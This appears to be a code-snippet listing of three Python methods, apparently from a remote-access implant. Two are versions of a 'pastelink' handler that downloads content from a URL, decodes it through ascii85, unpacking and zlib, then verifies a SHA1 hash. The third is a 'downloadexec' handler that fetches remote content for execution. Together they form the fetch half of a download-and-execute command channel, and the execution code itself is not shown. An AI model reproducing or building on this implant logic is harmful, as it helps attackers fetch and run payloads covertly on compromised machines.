Пример #1
0
    def on_pastelink(self, url, action, encoder):
        if not tinyhttp:
            logging.error('TinyHTTP is not available')
            return

        http = tinyhttp.HTTP(proxy=self.proxy, follow_redirects=True)
        content, code = http.get(url, code=True)
        if code == 200:
            try:
                content = ascii85.ascii85DecodeDG(content)
                content = self.encoder.unpack(content)
                if not content:
                    logging.error('PasteLink: unpack failed')
                    return

                content = zlib.decompress(content)
                chash, content = content[:20], content[20:]
                h = hashlib.sha1()
                h.update(content)
                if h.digest() == chash:
                    self.on_pastelink_content(url, action, content)
                else:
                    logging.error('PasteLink: Wrong hash after extraction: {} != {}'.format(
                        h.digest(), chash))
            except Exception as e:
                logging.exception(e)
Пример #2
0
    def on_pastelink(self, url, action, encoder):
        proxy = self.proxy
        if type(self.proxy) in (list, tuple):
            if len(self.proxy) > 0:
                proxy = self.proxy[0]
            else:
                proxy = None

        http = tinyhttp.HTTP(proxy=proxy, follow_redirects=True)
        content, code = http.get(url, code=True)
        if code == 200:
            try:
                content = ascii85.ascii85DecodeDG(content)
                content = self.encoder.unpack(content)
                if not content:
                    logging.error('PasteLink: unpack failed')
                    return

                content = zlib.decompress(content)
                chash, content = content[:20], content[20:]
                h = hashlib.sha1()
                h.update(content)
                if h.digest() == chash:
                    self.on_pastelink_content(url, action, content)
                else:
                    logging.error(
                        'PasteLink: Wrong hash after extraction: %s != %s',
                        h.digest(), chash)
            except Exception as e:
                logging.exception(e)
Пример #3
0
    def on_downloadexec(self, url, action, use_proxy):
        if not tinyhttp:
            logging.error('TinyHTTP is not available')
            return

        try:
            http = tinyhttp.HTTP(
                proxy=self.proxy if use_proxy else False,
                follow_redirects=True
            )

            content, code = http.get(url, code=True)
            if code == 200:
                self.on_downloadexec_content(url, action, content)

        except Exception as e:
            logging.exception(e)